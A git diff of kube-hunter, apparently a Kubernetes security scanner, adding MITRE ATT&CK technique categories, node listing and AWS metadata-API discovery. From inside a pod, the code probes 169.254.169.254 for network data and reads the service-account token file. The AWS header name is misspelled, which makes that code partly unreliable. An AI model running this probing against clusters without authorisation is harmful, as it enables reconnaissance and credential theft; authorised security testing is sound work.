self.active_hunters[hook] = hook.__doc__
|
||||
elif HunterBase in hook.__mro__:
|
||||
self.passive_hunters[hook] = hook.__doc__
|
||||
|
||||
if HunterBase in hook.__mro__:
|
||||
self.all_hunters[hook] = hook.__doc__
|
||||
|
||||
return True
|
||||
|
||||
def _register_filter(self, event, hook=None, predicate=None):
|
||||
if hook not in self.filters[event]:
|
||||
self.filters[event].append((hook, predicate))
|
||||
logging.debug("{} filter subscribed to {}".format(hook, event))
|
||||
|
||||
def _register_hook(self, event, hook=None, predicate=None):
|
||||
if hook not in self.hooks[event]:
|
||||
self.hooks[event].append((hook, predicate))
|
||||
logging.debug("{} subscribed to {}".format(hook, event))
|
||||
|
||||
def subscribe_event(self, event, hook=None, predicate=None):
|
||||
if not self._register_hunters(hook):
|
||||
return
|
||||
|
||||
# registering filters
|
||||
if EventFilterBase in hook.__mro__:
|
||||
if hook not in self.filters[event]:
|
||||
self.filters[event].append((hook, predicate))
|
||||
logger.debug(f"{hook} filter subscribed to {event}")
|
||||
|
||||
self._register_filter(event, hook, predicate)
|
||||
# registering hunters
|
||||
elif hook not in self.hooks[event]:
|
||||
self.hooks[event].append((hook, predicate))
|
||||
logger.debug(f"{hook} subscribed to {event}")
|
||||
else:
|
||||
self._register_hook(event, hook, predicate)
|
||||
|
||||
def subscribe_events(self, events, hook=None, predicates=None):
|
||||
if not self._register_hunters(hook):
|
||||
return False
|
||||
|
||||
if predicates is None:
|
||||
predicates = [None] * len(events)
|
||||
|
||||
# registering filters.
|
||||
if EventFilterBase in hook.__mro__:
|
||||
for event, predicate in zip(events, predicates):
|
||||
self._register_filter(event, hook, predicate)
|
||||
# registering hunters.
|
||||
else:
|
||||
for event, predicate in zip(events, predicates):
|
||||
self.multi_hooks[event].append((hook, predicate))
|
||||
|
||||
self.hook_dependencies[hook] = frozenset(events)
|
||||
|
||||
def apply_filters(self, event):
|
||||
# if filters are subscribed, apply them on the event
|
||||
@@ -97,36 +300,11 @@ class EventQueue(Queue):
|
||||
return None
|
||||
return event
|
||||
|
||||
# getting instantiated event object
|
||||
def publish_event(self, event, caller=None):
|
||||
def _increase_vuln_count(self, event, caller):
|
||||
config = get_config()
|
||||
|
||||
# setting event chain
|
||||
if caller:
|
||||
event.previous = caller.event
|
||||
event.hunter = caller.__class__
|
||||
|
||||
# applying filters on the event, before publishing it to subscribers.
|
||||
# if filter returned None, not proceeding to publish
|
||||
event = self.apply_filters(event)
|
||||
if event:
|
||||
# If event was rewritten, make sure it's linked to its parent ('previous') event
|
||||
if caller:
|
||||
event.previous = caller.event
|
||||
event.hunter = caller.__class__
|
||||
|
||||
for hooked_event in self.hooks.keys():
|
||||
if hooked_event in event.__class__.__mro__:
|
||||
for hook, predicate in self.hooks[hooked_event]:
|
||||
if predicate and not predicate(event):
|
||||
continue
|
||||
|
||||
if config.statistics and caller:
|
||||
if Vulnerability in event.__class__.__mro__:
|
||||
caller.__class__.publishedVulnerabilities += 1
|
||||
|
||||
logger.debug(f"Event {event.__class__} got published with {event}")
|
||||
self.put(hook(event))
|
||||
if config.statistics and caller:
|
||||
if Vulnerability in event.__class__.__mro__:
|
||||
caller.__class__.publishedVulnerabilities += 1
|
||||
|
||||
# executes callbacks on dedicated thread as a daemon
|
||||
def worker(self):
|
||||
|
||||
@@ -3,15 +3,32 @@ import threading
|
||||
import requests
|
||||
|
||||
from kube_hunter.conf import get_config
|
||||
from kube_hunter.core.types import (
|
||||
InformationDisclosure,
|
||||
DenialOfService,
|
||||
RemoteCodeExec,
|
||||
IdentityTheft,
|
||||
PrivilegeEscalation,
|
||||
AccessRisk,
|
||||
UnauthenticatedAccess,
|
||||
KubernetesCluster,
|
||||
from kube_hunter.core.types import KubernetesCluster
|
||||
from kube_hunter.core.types.vulnerabilities import (
|
||||
GeneralSensitiveInformationTechnique,
|
||||
ExposedSensitiveInterfacesTechnique,
|
||||
MountServicePrincipalTechnique,
|
||||
ListK8sSecretsTechnique,
|
||||
AccessContainerServiceAccountTechnique,
|
||||
AccessK8sApiServerTechnique,
|
||||
AccessKubeletAPITechnique,
|
||||
AccessK8sDashboardTechnique,
|
||||
InstanceMetadataApiTechnique,
|
||||
ExecIntoContainerTechnique,
|
||||
SidecarInjectionTechnique,
|
||||
NewContainerTechnique,
|
||||
GeneralPersistenceTechnique,
|
||||
HostPathMountPrivilegeEscalationTechnique,
|
||||
PrivilegedContainerTechnique,
|
||||
ClusterAdminBindingTechnique,
|
||||
ARPPoisoningTechnique,
|
||||
CoreDNSPoisoningTechnique,
|
||||
DataDestructionTechnique,
|
||||
GeneralDefenseEvasionTechnique,
|
||||
ConnectFromProxyServerTechnique,
|
||||
CVERemoteCodeExecutionCategory,
|
||||
CVEPrivilegeEscalationCategory,
|
||||
CVEDenialOfServiceTechnique,
|
||||
)
|
||||
|
||||
logger = logging.getLogger(__name__)
|
||||
@@ -62,6 +79,20 @@ class Event:
|
||||
return history
|
||||
|
||||
|
||||
class MultipleEventsContainer(Event):
|
||||
"""
|
||||
This is the class of the object an hunter will get if he was registered to multiple events.
|
||||
"""
|
||||
|
||||
def __init__(self, events):
|
||||
self.events = events
|
||||
|
||||
def get_by_class(self, event_class):
|
||||
for event in self.events:
|
||||
if event.__class__ == event_class:
|
||||
return event
|
||||
|
||||
|
||||
class Service:
|
||||
def __init__(self, name, path="", secure=True):
|
||||
self.name = name
|
||||
@@ -69,6 +100,12 @@ class Service:
|
||||
self.path = path
|
||||
self.role = "Node"
|
||||
|
||||
# if a service account token was specified, we load it to the Service class
|
||||
# We load it here because generally all kuberentes services could be authenticated with the token
|
||||
config = get_config()
|
||||
if config.service_account_token:
|
||||
self.auth_token = config.service_account_token
|
||||
|
||||
def get_name(self):
|
||||
return self.name
|
||||
|
||||
@@ -82,13 +119,30 @@ class Service:
|
||||
class Vulnerability:
|
||||
severity = dict(
|
||||
{
|
||||
InformationDisclosure: "medium",
|
||||
DenialOfService: "medium",
|
||||
RemoteCodeExec: "high",
|
||||
IdentityTheft: "high",
|
||||
PrivilegeEscalation: "high",
|
||||
AccessRisk: "low",
|
||||
UnauthenticatedAccess: "low",
|
||||
GeneralSensitiveInformationTechnique: "low",
|
||||
ExposedSensitiveInterfacesTechnique: "high",
|
||||
MountServicePrincipalTechnique: "high",
|
||||
ListK8sSecretsTechnique: "high",
|
||||
AccessContainerServiceAccountTechnique: "low",
|
||||
AccessK8sApiServerTechnique: "medium",
|
||||
AccessKubeletAPITechnique: "medium",
|
||||
AccessK8sDashboardTechnique: "medium",
|
||||
InstanceMetadataApiTechnique: "high",
|
||||
ExecIntoContainerTechnique: "high",
|
||||
SidecarInjectionTechnique: "high",
|
||||
NewContainerTechnique: "high",
|
||||
GeneralPersistenceTechnique: "high",
|
||||
HostPathMountPrivilegeEscalationTechnique: "high",
|
||||
PrivilegedContainerTechnique: "high",
|
||||
ClusterAdminBindingTechnique: "high",
|
||||
ARPPoisoningTechnique: "medium",
|
||||
CoreDNSPoisoningTechnique: "high",
|
||||
DataDestructionTechnique: "high",
|
||||
GeneralDefenseEvasionTechnique: "high",
|
||||
ConnectFromProxyServerTechnique: "low",
|
||||
CVERemoteCodeExecutionCategory: "high",
|
||||
CVEPrivilegeEscalationCategory: "high",
|
||||
CVEDenialOfServiceTechnique: "medium",
|
||||
}
|
||||
)
|
||||
|
||||
@@ -144,7 +198,8 @@ class NewHostEvent(Event):
|
||||
logger.debug("Checking whether the cluster is deployed on azure's cloud")
|
||||
# Leverage 3rd tool https://github.com/blrchen/AzureSpeed for Azure cloud ip detection
|
||||
result = requests.get(
|
||||
f"https://api.azurespeed.com/api/region?ipOrUrl={self.host}", timeout=config.network_timeout,
|
||||
f"https://api.azurespeed.com/api/region?ipOrUrl={self.host}",
|
||||
timeout=config.network_timeout,
|
||||
).json()
|
||||
return result["cloud"] or "NoCloud"
|
||||
except requests.ConnectionError:
|
||||
@@ -190,16 +245,23 @@ class ReportDispatched(Event):
|
||||
|
||||
|
||||
class K8sVersionDisclosure(Vulnerability, Event):
|
||||
"""The kubernetes version could be obtained from the {} endpoint """
|
||||
"""The kubernetes version could be obtained from the {} endpoint"""
|
||||
|
||||
def __init__(self, version, from_endpoint, extra_info=""):
|
||||
def __init__(self, version, from_endpoint, extra_info="", category=None):
|
||||
Vulnerability.__init__(
|
||||
self, KubernetesCluster, "K8s Version Disclosure", category=InformationDisclosure, vid="KHV002",
|
||||
self,
|
||||
KubernetesCluster,
|
||||
"K8s Version Disclosure",
|
||||
category=ExposedSensitiveInterfacesTechnique,
|
||||
vid="KHV002",
|
||||
)
|
||||
self.version = version
|
||||
self.from_endpoint = from_endpoint
|
||||
self.extra_info = extra_info
|
||||
self.evidence = version
|
||||
# depending from where the version came from, we might want to also override the category
|
||||
if category:
|
||||
self.category = category
|
||||
|
||||
def explain(self):
|
||||
return self.__doc__.format(self.from_endpoint) + self.extra_info
|
||||
|
||||
@@ -1,88 +0,0 @@
|
||||
class HunterBase:
|
||||
publishedVulnerabilities = 0
|
||||
|
||||
@staticmethod
|
||||
def parse_docs(docs):
|
||||
"""returns tuple of (name, docs)"""
|
||||
if not docs:
|
||||
return __name__, "<no documentation>"
|
||||
docs = docs.strip().split("\n")
|
||||
for i, line in enumerate(docs):
|
||||
docs[i] = line.strip()
|
||||
return docs[0], " ".join(docs[1:]) if len(docs[1:]) else "<no documentation>"
|
||||
|
||||
@classmethod
|
||||
def get_name(cls):
|
||||
name, _ = cls.parse_docs(cls.__doc__)
|
||||
return name
|
||||
|
||||
def publish_event(self, event):
|
||||
handler.publish_event(event, caller=self)
|
||||
|
||||
|
||||
class ActiveHunter(HunterBase):
|
||||
pass
|
||||
|
||||
|
||||
class Hunter(HunterBase):
|
||||
pass
|
||||
|
||||
|
||||
class Discovery(HunterBase):
|
||||
pass
|
||||
|
||||
|
||||
class KubernetesCluster:
|
||||
"""Kubernetes Cluster"""
|
||||
|
||||
name = "Kubernetes Cluster"
|
||||
|
||||
|
||||
class KubectlClient:
|
||||
"""The kubectl client binary is used by the user to interact with the cluster"""
|
||||
|
||||
name = "Kubectl Client"
|
||||
|
||||
|
||||
class Kubelet(KubernetesCluster):
|
||||
"""The kubelet is the primary "node agent" that runs on each node"""
|
||||
|
||||
name = "Kubelet"
|
||||
|
||||
|
||||
class Azure(KubernetesCluster):
|
||||
"""Azure Cluster"""
|
||||
|
||||
name = "Azure"
|
||||
|
||||
|
||||
class InformationDisclosure:
|
||||
name = "Information Disclosure"
|
||||
|
||||
|
||||
class RemoteCodeExec:
|
||||
name = "Remote Code Execution"
|
||||
|
||||
|
||||
class IdentityTheft:
|
||||
name = "Identity Theft"
|
||||
|
||||
|
||||
class UnauthenticatedAccess:
|
||||
name = "Unauthenticated Access"
|
||||
|
||||
|
||||
class AccessRisk:
|
||||
name = "Access Risk"
|
||||
|
||||
|
||||
class PrivilegeEscalation(KubernetesCluster):
|
||||
name = "Privilege Escalation"
|
||||
|
||||
|
||||
class DenialOfService:
|
||||
name = "Denial of Service"
|
||||
|
||||
|
||||
# import is in the bottom to break import loops
|
||||
from .events import handler # noqa
|
||||
4
kube_hunter/core/types/__init__.py
Normal file
4
kube_hunter/core/types/__init__.py
Normal file
@@ -0,0 +1,4 @@
|
||||
# flake8: noqa: E402
|
||||
from .hunters import *
|
||||
from .components import *
|
||||
from .vulnerabilities import *
|
||||
28
kube_hunter/core/types/components.py
Normal file
28
kube_hunter/core/types/components.py
Normal file
@@ -0,0 +1,28 @@
|
||||
class KubernetesCluster:
|
||||
"""Kubernetes Cluster"""
|
||||
|
||||
name = "Kubernetes Cluster"
|
||||
|
||||
|
||||
class KubectlClient:
|
||||
"""The kubectl client binary is used by the user to interact with the cluster"""
|
||||
|
||||
name = "Kubectl Client"
|
||||
|
||||
|
||||
class Kubelet(KubernetesCluster):
|
||||
"""The kubelet is the primary "node agent" that runs on each node"""
|
||||
|
||||
name = "Kubelet"
|
||||
|
||||
|
||||
class AWS(KubernetesCluster):
|
||||
"""AWS Cluster"""
|
||||
|
||||
name = "AWS"
|
||||
|
||||
|
||||
class Azure(KubernetesCluster):
|
||||
"""Azure Cluster"""
|
||||
|
||||
name = "Azure"
|
||||
36
kube_hunter/core/types/hunters.py
Normal file
36
kube_hunter/core/types/hunters.py
Normal file
@@ -0,0 +1,36 @@
|
||||
class HunterBase:
|
||||
publishedVulnerabilities = 0
|
||||
|
||||
@staticmethod
|
||||
def parse_docs(docs):
|
||||
"""returns tuple of (name, docs)"""
|
||||
if not docs:
|
||||
return __name__, "<no documentation>"
|
||||
docs = docs.strip().split("\n")
|
||||
for i, line in enumerate(docs):
|
||||
docs[i] = line.strip()
|
||||
return docs[0], " ".join(docs[1:]) if len(docs[1:]) else "<no documentation>"
|
||||
|
||||
@classmethod
|
||||
def get_name(cls):
|
||||
name, _ = cls.parse_docs(cls.__doc__)
|
||||
return name
|
||||
|
||||
def publish_event(self, event):
|
||||
# Import here to avoid circular import from events package.
|
||||
# imports are cached in python so this should not affect runtime
|
||||
from ..events import handler # noqa
|
||||
|
||||
handler.publish_event(event, caller=self)
|
||||
|
||||
|
||||
class ActiveHunter(HunterBase):
|
||||
pass
|
||||
|
||||
|
||||
class Hunter(HunterBase):
|
||||
pass
|
||||
|
||||
|
||||
class Discovery(HunterBase):
|
||||
pass
|
||||
188
kube_hunter/core/types/vulnerabilities.py
Normal file
188
kube_hunter/core/types/vulnerabilities.py
Normal file
@@ -0,0 +1,188 @@
|
||||
"""
|
||||
Vulnerabilities are divided into 2 main categories.
|
||||
|
||||
MITRE Category
|
||||
--------------
|
||||
Vulnerability that correlates to a method in the official MITRE ATT&CK matrix for kubernetes
|
||||
|
||||
CVE Category
|
||||
-------------
|
||||
"General" category definition. The category is usually determined by the severity of the CVE
|
||||
"""
|
||||
|
||||
|
||||
class MITRECategory:
|
||||
@classmethod
|
||||
def get_name(cls):
|
||||
"""
|
||||
Returns the full name of MITRE technique: <MITRE CATEGORY> // <MITRE TECHNIQUE>
|
||||
Should only be used on a direct technique class at the end of the MITRE inheritance chain.
|
||||
|
||||
Example inheritance:
|
||||
MITRECategory -> InitialAccessCategory -> ExposedSensitiveInterfacesTechnique
|
||||
"""
|
||||
inheritance_chain = cls.__mro__
|
||||
if len(inheritance_chain) >= 4:
|
||||
# -3 == index of mitreCategory class. (object class is first)
|
||||
mitre_category_class = inheritance_chain[-3]
|
||||
return f"{mitre_category_class.name} // {cls.name}"
|
||||
|
||||
|
||||
class CVECategory:
|
||||
@classmethod
|
||||
def get_name(cls):
|
||||
"""
|
||||
Returns the full name of the category: CVE // <CVE Category name>
|
||||
"""
|
||||
return f"CVE // {cls.name}"
|
||||
|
||||
|
||||
"""
|
||||
MITRE ATT&CK Technique Categories
|
||||
"""
|
||||
|
||||
|
||||
class InitialAccessCategory(MITRECategory):
|
||||
name = "Initial Access"
|
||||
|
||||
|
||||
class ExecutionCategory(MITRECategory):
|
||||
name = "Execution"
|
||||
|
||||
|
||||
class PersistenceCategory(MITRECategory):
|
||||
name = "Persistence"
|
||||
|
||||
|
||||
class PrivilegeEscalationCategory(MITRECategory):
|
||||
name = "Privilege Escalation"
|
||||
|
||||
|
||||
class DefenseEvasionCategory(MITRECategory):
|
||||
name = "Defense Evasion"
|
||||
|
||||
|
||||
class CredentialAccessCategory(MITRECategory):
|
||||
name = "Credential Access"
|
||||
|
||||
|
||||
class DiscoveryCategory(MITRECategory):
|
||||
name = "Discovery"
|
||||
|
||||
|
||||
class LateralMovementCategory(MITRECategory):
|
||||
name = "Lateral Movement"
|
||||
|
||||
|
||||
class CollectionCategory(MITRECategory):
|
||||
name = "Collection"
|
||||
|
||||
|
||||
class ImpactCategory(MITRECategory):
|
||||
name = "Impact"
|
||||
|
||||
|
||||
"""
|
||||
MITRE ATT&CK Techniques
|
||||
"""
|
||||
|
||||
|
||||
class GeneralSensitiveInformationTechnique(InitialAccessCategory):
|
||||
name = "General Sensitive Information"
|
||||
|
||||
|
||||
class ExposedSensitiveInterfacesTechnique(InitialAccessCategory):
|
||||
name = "Exposed sensitive interfaces"
|
||||
|
||||
|
||||
class MountServicePrincipalTechnique(CredentialAccessCategory):
|
||||
name = "Mount service principal"
|
||||
|
||||
|
||||
class ListK8sSecretsTechnique(CredentialAccessCategory):
|
||||
name = "List K8S secrets"
|
||||
|
||||
|
||||
class AccessContainerServiceAccountTechnique(CredentialAccessCategory):
|
||||
name = "Access container service account"
|
||||
|
||||
|
||||
class AccessK8sApiServerTechnique(DiscoveryCategory):
|
||||
name = "Access the K8S API Server"
|
||||
|
||||
|
||||
class AccessKubeletAPITechnique(DiscoveryCategory):
|
||||
name = "Access Kubelet API"
|
||||
|
||||
|
||||
class AccessK8sDashboardTechnique(DiscoveryCategory):
|
||||
name = "Access Kubernetes Dashboard"
|
||||
|
||||
|
||||
class InstanceMetadataApiTechnique(DiscoveryCategory):
|
||||
name = "Instance Metadata API"
|
||||
|
||||
|
||||
class ExecIntoContainerTechnique(ExecutionCategory):
|
||||
name = "Exec into container"
|
||||
|
||||
|
||||
class SidecarInjectionTechnique(ExecutionCategory):
|
||||
name = "Sidecar injection"
|
||||
|
||||
|
||||
class NewContainerTechnique(ExecutionCategory):
|
||||
name = "New container"
|
||||
|
||||
|
||||
class GeneralPersistenceTechnique(PersistenceCategory):
|
||||
name = "General Peristence"
|
||||
|
||||
|
||||
class HostPathMountPrivilegeEscalationTechnique(PrivilegeEscalationCategory):
|
||||
name = "hostPath mount"
|
||||
|
||||
|
||||
class PrivilegedContainerTechnique(PrivilegeEscalationCategory):
|
||||
name = "Privileged container"
|
||||
|
||||
|
||||
class ClusterAdminBindingTechnique(PrivilegeEscalationCategory):
|
||||
name = "Cluser-admin binding"
|
||||
|
||||
|
||||
class ARPPoisoningTechnique(LateralMovementCategory):
|
||||
name = "ARP poisoning and IP spoofing"
|
||||
|
||||
|
||||
class CoreDNSPoisoningTechnique(LateralMovementCategory):
|
||||
name = "CoreDNS poisoning"
|
||||
|
||||
|
||||
class DataDestructionTechnique(ImpactCategory):
|
||||
name = "Data Destruction"
|
||||
|
||||
|
||||
class GeneralDefenseEvasionTechnique(DefenseEvasionCategory):
|
||||
name = "General Defense Evasion"
|
||||
|
||||
|
||||
class ConnectFromProxyServerTechnique(DefenseEvasionCategory):
|
||||
name = "Connect from Proxy server"
|
||||
|
||||
|
||||
"""
|
||||
CVE Categories
|
||||
"""
|
||||
|
||||
|
||||
class CVERemoteCodeExecutionCategory(CVECategory):
|
||||
name = "Remote Code Execution (CVE)"
|
||||
|
||||
|
||||
class CVEPrivilegeEscalationCategory(CVECategory):
|
||||
name = "Privilege Escalation (CVE)"
|
||||
|
||||
|
||||
class CVEDenialOfServiceTechnique(CVECategory):
|
||||
name = "Denial Of Service (CVE)"
|
||||
@@ -5,13 +5,13 @@ import requests
|
||||
|
||||
from enum import Enum
|
||||
from netaddr import IPNetwork, IPAddress, AddrFormatError
|
||||
from netifaces import AF_INET, ifaddresses, interfaces
|
||||
from scapy.all import ICMP, IP, Ether, srp1
|
||||
from netifaces import AF_INET, ifaddresses, interfaces, gateways
|
||||
|
||||
from kube_hunter.conf import get_config
|
||||
from kube_hunter.modules.discovery.kubernetes_client import list_all_k8s_cluster_nodes
|
||||
from kube_hunter.core.events import handler
|
||||
from kube_hunter.core.events.types import Event, NewHostEvent, Vulnerability
|
||||
from kube_hunter.core.types import Discovery, InformationDisclosure, Azure
|
||||
from kube_hunter.core.types import Discovery, AWS, Azure, InstanceMetadataApiTechnique
|
||||
|
||||
logger = logging.getLogger(__name__)
|
||||
|
||||
@@ -19,11 +19,17 @@ logger = logging.getLogger(__name__)
|
||||
class RunningAsPodEvent(Event):
|
||||
def __init__(self):
|
||||
self.name = "Running from within a pod"
|
||||
self.auth_token = self.get_service_account_file("token")
|
||||
self.client_cert = self.get_service_account_file("ca.crt")
|
||||
self.namespace = self.get_service_account_file("namespace")
|
||||
self.kubeservicehost = os.environ.get("KUBERNETES_SERVICE_HOST", None)
|
||||
|
||||
# if service account token was manually specified, we don't load the token file
|
||||
config = get_config()
|
||||
if config.service_account_token:
|
||||
self.auth_token = config.service_account_token
|
||||
else:
|
||||
self.auth_token = self.get_service_account_file("token")
|
||||
|
||||
# Event's logical location to be used mainly for reports.
|
||||
def location(self):
|
||||
location = "Local to Pod"
|
||||
@@ -37,19 +43,38 @@ class RunningAsPodEvent(Event):
|
||||
try:
|
||||
with open(f"/var/run/secrets/kubernetes.io/serviceaccount/{file}") as f:
|
||||
return f.read()
|
||||
except IOError:
|
||||
except OSError:
|
||||
pass
|
||||
|
||||
|
||||
class AWSMetadataApi(Vulnerability, Event):
|
||||
"""Access to the AWS Metadata API exposes information about the machines associated with the cluster"""
|
||||
|
||||
def __init__(self, cidr):
|
||||
Vulnerability.__init__(
|
||||
self,
|
||||
AWS,
|
||||
"AWS Metadata Exposure",
|
||||
category=InstanceMetadataApiTechnique,
|
||||
vid="KHV053",
|
||||
)
|
||||
self.cidr = cidr
|
||||
self.evidence = f"cidr: {cidr}"
|
||||
|
||||
|
||||
class AzureMetadataApi(Vulnerability, Event):
|
||||
"""Access to the Azure Metadata API exposes information about the machines associated with the cluster"""
|
||||
|
||||
def __init__(self, cidr):
|
||||
Vulnerability.__init__(
|
||||
self, Azure, "Azure Metadata Exposure", category=InformationDisclosure, vid="KHV003",
|
||||
self,
|
||||
Azure,
|
||||
"Azure Metadata Exposure",
|
||||
category=InstanceMetadataApiTechnique,
|
||||
vid="KHV003",
|
||||
)
|
||||
self.cidr = cidr
|
||||
self.evidence = "cidr: {}".format(cidr)
|
||||
self.evidence = f"cidr: {cidr}"
|
||||
|
||||
|
||||
class HostScanEvent(Event):
|
||||
@@ -96,16 +121,23 @@ class FromPodHostDiscovery(Discovery):
|
||||
|
||||
def execute(self):
|
||||
config = get_config()
|
||||
# Attempt to read all hosts from the Kubernetes API
|
||||
for host in list_all_k8s_cluster_nodes(config.kubeconfig):
|
||||
self.publish_event(NewHostEvent(host=host))
|
||||
# Scan any hosts that the user specified
|
||||
if config.remote or config.cidr:
|
||||
self.publish_event(HostScanEvent())
|
||||
else:
|
||||
# Discover cluster subnets, we'll scan all these hosts
|
||||
cloud = None
|
||||
cloud, subnets = None, list()
|
||||
if self.is_azure_pod():
|
||||
subnets, cloud = self.azure_metadata_discovery()
|
||||
else:
|
||||
subnets = self.traceroute_discovery()
|
||||
elif self.is_aws_pod_v1():
|
||||
subnets, cloud = self.aws_metadata_v1_discovery()
|
||||
elif self.is_aws_pod_v2():
|
||||
subnets, cloud = self.aws_metadata_v2_discovery()
|
||||
|
||||
subnets += self.gateway_discovery()
|
||||
|
||||
should_scan_apiserver = False
|
||||
if self.event.kubeservicehost:
|
||||
@@ -119,6 +151,46 @@ class FromPodHostDiscovery(Discovery):
|
||||
if should_scan_apiserver:
|
||||
self.publish_event(NewHostEvent(host=IPAddress(self.event.kubeservicehost), cloud=cloud))
|
||||
|
||||
def is_aws_pod_v1(self):
|
||||
config = get_config()
|
||||
try:
|
||||
# Instance Metadata Service v1
|
||||
logger.debug("From pod attempting to access AWS Metadata v1 API")
|
||||
if (
|
||||
requests.get(
|
||||
"http://169.254.169.254/latest/meta-data/",
|
||||
timeout=config.network_timeout,
|
||||
).status_code
|
||||
== 200
|
||||
):
|
||||
return True
|
||||
except requests.exceptions.ConnectionError:
|
||||
logger.debug("Failed to connect AWS metadata server v1")
|
||||
return False
|
||||
|
||||
def is_aws_pod_v2(self):
|
||||
config = get_config()
|
||||
try:
|
||||
# Instance Metadata Service v2
|
||||
logger.debug("From pod attempting to access AWS Metadata v2 API")
|
||||
token = requests.put(
|
||||
"http://169.254.169.254/latest/api/token/",
|
||||
headers={"X-aws-ec2-metatadata-token-ttl-seconds": "21600"},
|
||||
timeout=config.network_timeout,
|
||||
).text
|
||||
if (
|
||||
requests.get(
|
||||
"http://169.254.169.254/latest/meta-data/",
|
||||
headers={"X-aws-ec2-metatadata-token": token},
|
||||
timeout=config.network_timeout,
|
||||
).status_code
|
||||
== 200
|
||||
):
|
||||
return True
|
||||
except requests.exceptions.ConnectionError:
|
||||
logger.debug("Failed to connect AWS metadata server v2")
|
||||
return False
|
||||
|
||||
def is_azure_pod(self):
|
||||
config = get_config()
|
||||
try:
|
||||
@@ -137,12 +209,73 @@ class FromPodHostDiscovery(Discovery):
|
||||
return False
|
||||
|
||||
# for pod scanning
|
||||
def traceroute_discovery(self):
|
||||
def gateway_discovery(self):
|
||||
"""Retrieving default gateway of pod, which is usually also a contact point with the host"""
|
||||
return [[gateways()["default"][AF_INET][0], "24"]]
|
||||
|
||||
# querying AWS's interface metadata api v1 | works only from a pod
|
||||
def aws_metadata_v1_discovery(self):
|
||||
config = get_config()
|
||||
node_internal_ip = srp1(
|
||||
Ether() / IP(dst="1.1.1.1", ttl=1) / ICMP(), verbose=0, timeout=config.network_timeout,
|
||||
)[IP].src
|
||||
return [[node_internal_ip, "24"]]
|
||||
logger.debug("From pod attempting to access aws's metadata v1")
|
||||
mac_address = requests.get(
|
||||
"http://169.254.169.254/latest/meta-data/mac",
|
||||
timeout=config.network_timeout,
|
||||
).text
|
||||
logger.debug(f"Extracted mac from aws's metadata v1: {mac_address}")
|
||||
|
||||
cidr = requests.get(
|
||||
f"http://169.254.169.254/latest/meta-data/network/interfaces/macs/{mac_address}/subnet-ipv4-cidr-block",
|
||||
timeout=config.network_timeout,
|
||||
).text
|
||||
logger.debug(f"Trying to extract cidr from aws's metadata v1: {cidr}")
|
||||
|
||||
try:
|
||||
cidr = cidr.split("/")
|
||||
address, subnet = (cidr[0], cidr[1])
|
||||
subnet = subnet if not config.quick else "24"
|
||||
cidr = f"{address}/{subnet}"
|
||||
logger.debug(f"From pod discovered subnet {cidr}")
|
||||
|
||||
self.publish_event(AWSMetadataApi(cidr=cidr))
|
||||
return [(address, subnet)], "AWS"
|
||||
except Exception as x:
|
||||
logger.debug(f"ERROR: could not parse cidr from aws metadata api: {cidr} - {x}")
|
||||
|
||||
return [], "AWS"
|
||||
|
||||
# querying AWS's interface metadata api v2 | works only from a pod
|
||||
def aws_metadata_v2_discovery(self):
|
||||
config = get_config()
|
||||
logger.debug("From pod attempting to access aws's metadata v2")
|
||||
token = requests.get(
|
||||
"http://169.254.169.254/latest/api/token",
|
||||
headers={"X-aws-ec2-metatadata-token-ttl-seconds": "21600"},
|
||||
timeout=config.network_timeout,
|
||||
).text
|
||||
mac_address = requests.get(
|
||||
"http://169.254.169.254/latest/meta-data/mac",
|
||||
headers={"X-aws-ec2-metatadata-token": token},
|
||||
timeout=config.network_timeout,
|
||||
).text
|
||||
cidr = requests.get(
|
||||
f"http://169.254.169.254/latest/meta-data/network/interfaces/macs/{mac_address}/subnet-ipv4-cidr-block",
|
||||
headers={"X-aws-ec2-metatadata-token": token},
|
||||
timeout=config.network_timeout,
|
||||
).text.split("/")
|
||||
|
||||
try:
|
||||
address, subnet = (cidr[0], cidr[1])
|
||||
subnet = subnet if not config.quick else "24"
|
||||
cidr = f"{address}/{subnet}"
|
||||
logger.debug(f"From pod discovered subnet {cidr}")
|
||||
|
||||
self.publish_event(AWSMetadataApi(cidr=cidr))
|
||||
|
||||
return [(address, subnet)], "AWS"
|
||||
except Exception as x:
|
||||
logger.debug(f"ERROR: could not parse cidr from aws metadata api: {cidr} - {x}")
|
||||
|
||||
return [], "AWS"
|
||||
|
||||
# querying azure's interface metadata api | works only from a pod
|
||||
def azure_metadata_discovery(self):
|
||||
@@ -188,6 +321,9 @@ class HostDiscovery(Discovery):
|
||||
elif len(config.remote) > 0:
|
||||
for host in config.remote:
|
||||
self.publish_event(NewHostEvent(host=host))
|
||||
elif config.k8s_auto_discover_nodes:
|
||||
for host in list_all_k8s_cluster_nodes(config.kubeconfig):
|
||||
self.publish_event(NewHostEvent(host=host))
|
||||
|
||||
# for normal scanning
|
||||
def scan_interfaces(self):
|
||||
|
||||
27
kube_hunter/modules/discovery/kubernetes_client.py
Normal file
27
kube_hunter/modules/discovery/kubernetes_client.py
Normal file
@@ -0,0 +1,27 @@
|
||||
import logging
|
||||
import kubernetes
|
||||
|
||||
|
||||
def list_all_k8s_cluster_nodes(kube_config=None, client=None):
|
||||
logger = logging.getLogger(__name__)
|
||||
try:
|
||||
if kube_config:
|
||||
logger.debug("Attempting to use kubeconfig file: %s", kube_config)
|
||||
kubernetes.config.load_kube_config(config_file=kube_config)
|
||||
else:
|
||||
logger.debug("Attempting to use in cluster Kubernetes config")
|
||||
kubernetes.config.load_incluster_config()
|
||||
except kubernetes.config.config_exception.ConfigException as ex:
|
||||
logger.debug(f"Failed to initiate Kubernetes client: {ex}")
|
||||
return
|
||||
|
||||
try:
|
||||
if client is None:
|
||||
client = kubernetes.client.CoreV1Api()
|
||||
ret = client.list_node(watch=False)
|
||||
logger.info("Listed %d nodes in the cluster" % len(ret.items))
|
||||
for item in ret.items:
|
||||
for addr in item.status.addresses:
|
||||
yield addr.address
|
||||
except Exception as ex:
|
||||
logger.debug(f"Failed to list nodes from Kubernetes: {ex}")
|
||||
@@ -1,12 +1,13 @@
|
||||
import os
|
||||
import json
|
||||
import logging
|
||||
import requests
|
||||
|
||||
from kube_hunter.conf import get_config
|
||||
from kube_hunter.modules.hunting.kubelet import ExposedRunHandler
|
||||
from kube_hunter.modules.hunting.kubelet import ExposedPodsHandler, SecureKubeletPortHunter
|
||||
from kube_hunter.core.events import handler
|
||||
from kube_hunter.core.events.types import Event, Vulnerability
|
||||
from kube_hunter.core.types import Hunter, ActiveHunter, IdentityTheft, Azure
|
||||
from kube_hunter.core.types import Hunter, ActiveHunter, MountServicePrincipalTechnique, Azure
|
||||
|
||||
logger = logging.getLogger(__name__)
|
||||
|
||||
